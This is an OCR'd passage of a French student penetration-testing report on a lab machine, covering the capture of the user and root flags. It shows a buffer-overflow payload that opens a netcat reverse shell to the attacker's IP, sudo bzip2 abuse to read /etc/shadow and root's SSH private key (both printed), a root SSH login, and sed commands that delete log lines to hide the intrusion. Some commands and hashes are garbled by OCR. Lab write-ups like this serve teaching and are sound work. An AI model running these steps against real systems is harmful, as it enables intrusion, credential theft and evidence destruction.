moyen de I'habituelle commande nc -lvnp 6666 :

—_— - o~

- 6666
listening on [any] 6666

connect to [192.168.1.15] from (UNKNOWN) [192.168.1.10] 56438

bash: cannot set terminal process group (320): Inappropriate ioctl for device
bash: no job control in this shell

ww-data@rtm10:~/html$

Et nous obtenons un shell qui est honnétement assez technique a obtenir.
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Et pourtant, nous ne pouvons toujours pas accéder au flag user contenu dans le dossier
home de I'utilisateur monica :

ww-datagrtml0:~$ cd /home

cd /home

ww-data@rtml0: /home$ 1s

1s

monica

ww-data@rtml@: /home$ cd monica
cd monica
waw-datag@rtml@:/home/monica$ 1s
1s

user.txt
waw-data@rtml@:/home/monica$ cat user.txt
cat user.txt

cat: user.txt: Permission denied

Et aprés avoir passé un temps assez long a rechercher un potentiel indice, nous en trouvons
enfin situé dans le dossier /opt, un dossier inhabituel pour y cacher ce genre de chose :

ww-datagrtmlo: /opt$ ls
ls

ls

ls.c

note.txt

Un fichier binaire Is et son code source en ¢ :

waw-datagrtml0: /opt$ cat ls.c
cat 1s.c

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

int main(void)

{

char command[100];

char 1s[50]="/usr/bin/1s";
char name[50];
printf("Enter your name:");
gets(name);
strcpy(command,ls);
setuid(1000);

setgid(1000);

printf("Hi %s, Im executing ls\n Output:\n",name);
system(command);




SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

DE LAREUNION

Il y a également un fichier note.txt :

ww-datagrtmlo: /opt$ cat note.txt
cat note.txt

Im preparing the new ls program.
-monica

Un programme |s alternatif sera donc en cours de création par I'utilisateur monica et, en
analysant le code source de cette commande, nous trouvons rapidement la faille suivante :

gets(name);

La fonction gets() ne limite pas la quantité de caractéres que I'utilisateur peut entrer. Si
I'utilisateur entre plus de 60 caracteres (taille de name), les données débordent sur les
zones mémoire adjacentes. Cela rend donc le code vulnérable aux attaques de type buffer
overflow, nous permettant d'exécuter n'importe quelle commande en tant que monica en
théorie. Nous tentons donc de nous saisir a la suite de la commande, une liste de cinquante
A de padding suivis d’'une commande qui nous souhaitons exécuter :

ww-datagrtml0:/opt$ /opt/ls

/opt/1s
cat /home/monica/user.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAL /home/monica/user.txt

Hi cat /home/monica/user.txt, Im executing ls
OQutput:

sh: 1: ca/user.txt: not found

Mais cela ne fonctionne pas comme prévu, plutot que de lire le flag, tentons d'exécuter une
seconde commande de reverse shell précédée d’'un padding de soixante A, la commande
utilisée sera python3 -c ‘print("A"*60 + "/usr/bin/nc 192.168.1.15 3232 -e /usr/bin/bash\x00")’
| Zopt/ls :

ww-datag@rtml0:/opt$ python3 -c 'print("A"*60 + "/usr/bin/nc 192.168.1.15 3232 -e /usr/bin/bash\x00")' | /opt/ls
<192.168.1.15 3232 -e /usr/bin/bash\x00")' | /opt/ls

Et pendant que nous mettons notre machine attaquante en écoute sur son port 3232 au
moyen de la commande nc -lvhp 3232, nous obtenons une connection avec la cible :

3232

listening on [any] 3232
connect to [192.168.1.15] from (UNKNOWN) [192.168.1.10] 36776
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La commande script /dev/null -qc /bin/bash est bien pratique puisqu’elle permet d’avoir un

environnement propre dans notre terminal ou plutét pseudo-terminal sans message

d’introduction. Cela rend plus rapide l'exploration du systéme jusqu’a la découverte du flag :

listening on

- ~

-lvnp 3232

[any] 3232

connect to [192.168.1.15] from (UNKNOWN) [192.168.1.10] 36762
script /dev/null -qc /bin/bash
monica@rtmi@:/opt$ |

Et il semble que nous ayons réussi a obtenir notre shell avec I'utilisateur monica :

monicagrtml0:~$ cd /home/monica

cd /home/monica

monica@rtml®:/home/monica$ 1s

ls
user.txt

monicagrtml@:/home/monica$ cat user.txt

cat user.ixt

e9760c92e8ed17fdf46330202cabl3e5

Et nous parvenons a lire le premier flag contenu dans user.txt qui est donc

€9760c92e8ed17fdf46330202cab13eb5.
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10.2 - Obtention du second flag

Quels sont donc les priviléges de monica sur le systéme de la machine cible, nous le
saurons au moyen de la commande sudo -/ :

monica@rtml@:~$ sudo -1

sudo -1

Matching Defaults entries for monica on rtml@:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User monica may run the following commands on rtmle:
(ALL) NOPASSWD: /usr/bin/bzip2

Et il semble que monica puisse exécuter la commande bzip2 avec des priviléges de
superdutilisateur, il se trouve qu’une seule commande qui sont connue et répertoriée en ligne
(GTFO Bins) permet d’utiliser nos privileges sur bzip2 pour obtenir un droit de lecture sur
tous les fichiers du systéeme :

sudo bzip2 -c fichier_que_nous_souhaitons_lire | bzip2 -d

Tentons donc de lire le fichier /root/root.txt au moyen de la commande sudo bzip2 -c¢
/root/root.txt | bzip2 -d :

monica@grtml®:~$ sudo bzip2 -c /root/root.txt | bzip2 -d
sudo bzip2 -c /root/root.txt | bzip2 -d
1a7bc93ee2a9fb692418229f6209b609

Et nous avons donc accés au second flag qui est 1a7bc93ee2a9fb692418229f6209b609.

Mais les choses ne se terminent pas de cette maniére, il faut pouvoir obtenir un shell root et
pour cela, nous devons aller plus loin en tentant d’obtenir le mot de passe de root...
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Tentons donc de lire le contenu de /etc/shadow au moyen de la commande sudo bzip2 -c

/etc/shadow | bzip2 -d :

monica@rtml0@:~$ sudo bzip2 -c /etc/shadow | bzip2 -d
sudo bzip2 -c /etc/shadow | bzip2 -d

root:$6$0/vQHDYzfuxtOHOwW$34IvRgkqp8alLgExnUbeErC7phH6dZtRhfqdOHtRCIYeQS3FZR1AY9ust4kpAwi8DAjmcLfbDNALMrtRShZ1rkY. :18796:0:99999:7 :::

daemon:*:18721:0:99999:7 :::
bin:*:18721:0:99999:7:::
Sys:#%:18721:0:99999:7:::
Sync:*:18721:0:99999:7:::
games:*:18721:0:99999 B
man:*:18721:0:99999:7
1p:#:18721:0:99999:7:
mail:*:18721:0:99999:
news:*:18721:0:99999:
uucp:*:18721:0:99999:
proxy:*:18721:0:99999
ww-data:*:18721:0:99999:7 :::
backup:#:18721:0:99999:7 :::
list:#:18721:0:99999:7 :::
irc:*:18721:0:99999:7 :::
gnats:*:18721:0:99999:7:::
nobody:*:18721:0:99999:7:::
_apt:%:18721:0:99999:7:::
systemd-timesync:*:18721:0:99999:7:::
systemd-network:*:18721:0:99999:
systemd-resolve:*:18721:0:99999:
messagebus:*:18721:0:99999:7:::

monica:$6$r3.r.GQ6bFM/C7P7$Cje3cvv/ID8cqf2bb.sbT5LxnJ403jIZ40bU7F]/FhqlQNjyGz1bhgK/SjkAwyivI650i6n1/vA8WsmR117Ded®:18721:0:99999:7 :::

systemd-coredump: !! :18721::::::

ftp:*:18721:0:99999:7:::
sshd:*:18721:0:99999:7 :::

Et nous trouvons le hash du mot de passe de root qui est
$6$0/vQHDY zfuxtOHOW$34IvRgkqp8alLgExnUbeErC7phH6dZtRhfqdOHtRcOYeQS3FZR1AY
9ustdkpAwi8DAmclfbNdLMrtR5hZIrkY.:18796:0:99999:7:::

Cependant, un hash de type SHA-512 avec sel aléatoire, ce n’est pas pour le moment que

ce genre de hash sera craqué, il faut que nous trouvions une autre méthode...

Un autre fichier qui si lu peut compromettre la sécurité d’un utilisateur est sa clé ssh id_rsa,
tentons donc de lire celle de root au moyen de la commande sudo bzip2 -c /root/.ssh/id_rsa |

bzip2 -d :

sudo bzip2 -c /root/.ssh/id_rsa | bzip2 -d
BEGIN OPENSSH PRIVATE KEY
b3B1bnNzaC1rzZXktdjEAAAAABGSvbmUAAAAEbMIUZQAAAAAAAAABAAABFWAAAAdZc2gtcn
NhAAAAAWEAAQAAAQEAT FKIWNCXISZLyj2E4waArCaGEOYVIxX50k4mF81nzPtiIgX+32e9
sMfZd6oDpovRq2hEE8TKqdfHogyvpVHV2wBs/BLOAaj063GnFX8dAoBi/yzhnyYXgrNE9D
Cs5D61tQVBXC1EINY1TS67T14+)qK+9UNWdfQC8VLIENBeaVbYI3vUSxQCbRGs92nQLrSVM
hY0a0zhYdWlkCH46aprZil0Te4ZvSfuzYU3+tmhonwiYMyeAYCSEsnkCeUTF4zke9kRovP
upbKiPWoYHEKXPWYCDJ9x0D/K1yMsK8YJ2rOoqyr5TkyOSHAdEGZx j8MFMTFLyeyFG2kUHYy
11W2WQoqZQAAASDTPxk j028ZIwAAAAdzc2gtcnNhAAABAQCSUgXA1xcixkvKPYTjBoCsJo
YQShUnFfnSTiYXzWfM+21iBf7fZ72wx913qgOmi9GraEQTxMgp18eiDK+1UdXbAGZ8ES4B
gM7rcacVfx0CgGL/LOGF IheCsOT1sKzkPqK1BUHELUQE3LVNLrtPXj600r71Q1Z19ALXWU
QOF5pVtgje9IRLFAItGgz3adAut JUyFgSrTOFh1awQIf jpgmtmLUSN7hm9)+7NhTf62aGif
CJgzJ4BgIISyeQISRMXjOR72RGi8+615qI9ahgcQpc9ZgIMn3E4PBrXIywrxgnas6rkKvlo
TI7kd0QZnGPwwUxMUvJ7IUbaRQd jKWVbZZCiplAAAAAWEAAQAAAQEAEqS5ajReQSAPSR3HH
6PLxeZvtZ7tUpON/IQGm2b4nzceF8A9j7cAalomsXYtNIWw/ISHIHPDKSGG3NikwusqIxs
BXJgKMv6103hxefWrccROz9hfvMmYMxk11Km1FcAIgGe9WpIM/azx1MYcS/WmXPOwKT IM4
alMWOD1eA7Myk3QuG/ jWVEZE37xaJHPwTpvIVRbqI jqwIXQbGVArzyuAsGWtMMMpZ3zwx5
LuthcWa2BOu4ND+KCi6vk/phwtoHIL26FiCFHdNUda7UgssdBQOjby/OwdHK4BvwooZS6v
23Ly1Lw37prz8GN8S504Xa5zKGOSt1Xb+rT771RDOsfTEQAAATEAjbYIgPVhTt3ZS+ne8R
iDgwrIOZIKCwb+s505FOvHOC/ ++s+weAghl+Fn8QfgCAMHapEZmyKjvLbixUT2B8F76554
60mR8PD310Rr0j+pbBz9jNga/+XJjctLF+atU3aGOtBINCc5Z/+eGtHjL1UIPNRaHtyb3zt
gOVMAN/5ZR8SMAAACBANL6TrhqiJaQc0dOTOS5Y4FxSharsng2TTd5k1B9d21SIVKeviKt j
L4QDLT/uzE6RfODNgUNP+qT5YjB4ag/17sm7GDzSd+8MDnkeRTDEtH)PwLEHUYDYN1O/wS
9B+r1Hu84WMYexml tA30PjAUQXaztYcKort1BHF8PRqHcat Ja JAAAAgQDK2MGRmyabimXN
Ursppl+JsMn/xvaUj6AviTmdyH7rGmjwass90P503AX59/pRyyhGOuPyaiWR8kNp5YOkHO
Zv8bGSSWUP3b7ScjgCMVaXXVmEgG+feZyf1swM2WwQVZzs152wZcrK3hFG/vIF1FwcDD3y
PN2NMCKYOEFGqmz9/QAAAALyb290QGVSZXM=

———END OPENSSH PRIVATE KEY——
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Nous pouvons alors copier-coller le contenu de ce fichier dans un fichier local a notre
machine attaquante ayant des droits de type 600 (que 'on attribue au moyen de la
commande chmod 600 id_rsa)puis tenter de se connecter en ssh au moyen de la
commande ssh -i id_rsa root@192.168.1.10 :

e )= [~

- i id_rsa root®192.168.1.10

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:9nVPU1RRWEF2qHVMNWIAtHX51SUNjmspmyDYJRiQAEwW.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ED25519 key in /home/kali/.ssh/known_hosts:19

remove with:

ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.10'
Host key for 192.168.1.10 has changed and you have requested strict checking.
Host key verification failed.

Nous avions pourtant donné les bons droits au fichier, mais le probléme est local a la
machine attaquante et est considéré comme une potentielle faille de sécurité, mais puisque
nous contrélons la situation, et le message d’erreur nous fournit la commande nous
permettant de se connecter malgré tout en créant une nouvelle clé ssh locale, la commande
est ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.10" :

-keygen -f "/home/kali/.ssh/known_hosts' -R '192.168.1.10

# Host 192.168.1.10 found: line 19
/home/kali/.ssh/known_hosts updated.
Original contents retained as /home/kali/.ssh/known_hosts.old
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Plus rien ne devrait donc nous empécher de nous connecter en tant que root :

—— | = o~

—$ ssh -1 id_rsa root®192.168.1.10

The authenticity of host '192.168.1.10 (192.168.1.10)' can't be established.

ED25519 key fingerprint is SHA256:9nVPU1RRWEF2gHVMNWIAtHx51SUNjmspmyDYJR1iQAEw.

This host key is known by the following other names/addresses:
~/.ssh/known_hosts:25: [hashed name]

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.1.10"' (ED25519) to the list of known hosts.

Linux rtm1@ 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Jun 18 14:34:39 2021

rootartmio:~# [

Et nous pouvons donc lire le flag :

rootartml@:~# cd /root
root@rtmlo:~# 1s

flag.sh root.txt

rootartml@:~# cat flag.sh
#!/bin/bash

echo "\033[0;35m rtml0 \033[0Om'

echo
echo "\nPWNED HOST: $(hostname)”

echo "\nPWNED DATE: $(date)"

echo "\nWHOAMI: $(id)"

echo "\nFLAG: $(cat root.txt 2>/dev/null || cat user.txt 2>/dev/null || echo "Keep trying.")"
echo "\n "
rootartml@:~# cat root.txt
la7bc9396239fb§92h18229f6209b609

Nous n’avons méme pas eu besoin d'exploiter le fichier flag.sh pour pouvoir accéder au flag.
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10.3 - Suppression des traces
C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande /s -/t
nous permettra d’afficher en triant les fichier en fonction de leur date de derniére

modification, découvrons donc quels fichiers nous devons modifier :

rootartml@:/var/log# ls -1t

total 1696

-Trw-r 1 root adm 20443 Dec 13 12:03 auth.log

-TW-T 1 root adm 101302 Dec 13 11:39 daemon.log
-Trw-r 1 root adm 487948 Dec 13 11:39 syslog
-rw-rw-r-- 1 root utmp 292292 Dec 13 11:36 lastlog
-rw-rw-r-— 1 root utmp 19968 Dec 13 11:36 wtmp
-rwxrwxrwx 1 root root 3211 Dec 13 10:24 vsftpd.log
-Trw-r 1 root adm 378511 Dec 13 10:14 kern.log

-Trw-r 1 root adm 326171 Dec 13 10:14 messages

-Tw 1 root root 2051 Dec 13 ©08:50 php7.3-fpm.log
-rw-r 1 root adm 59185 Dec 13 08:50 debug
-rw-rw—— 1 root utmp 384 Dec 12 23:40 btmp

-Tw-Tr 1 root adm 191 Jun 18 2021 user.log
-rw-r--r-- 1 root root 229049 Jun 18 2021 dpkg.log
-rw-r--r-- 1 root root 20234 Jun 18 2021 alternatives.log
drwxr-xr-x 2 root root 4096 Jun 18 2021 apt

-rw-r--r-- 1 root root 32032 Apr 4 2021 faillog
drwxr-xr-x 2 root adm 4096 Apr 4 2021 nginx

drwx 2 root root 4096 Apr &4 2021 private
drwxr-xr-x 3 root root 4096 Apr 4 2021 installer

Pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 12 puis Dec 13 au moyen des commandes sed -i /*Dec 12/d'
nomdufichier. puis sed -i /"Dec 13/d" nomdufichier.

Ces deux commandes seront appliquées aux fichiers auth.log, daemon.log, syslog, lastlog,
kern.log, messages et debug.

Le fichier php7.3-fpm.log posséde une syntaxe différente nous utiliserons les mémes
commandes que précédemment sauf que les arguments de début de ligne pour la
suppression seront [12-Dec puis [13-Dec au lieu de Dec 12 puis Dec 13.
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Le fichier vsftpd.log posséde également une syntaxe différente nous utiliserons les mémes
commandes que précédemment sauf que les arguments de début de ligne pour la
suppression seront Thu Dec 12 puis Fri Dec 13 au lieu de Dec 12 puis Dec 13.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.




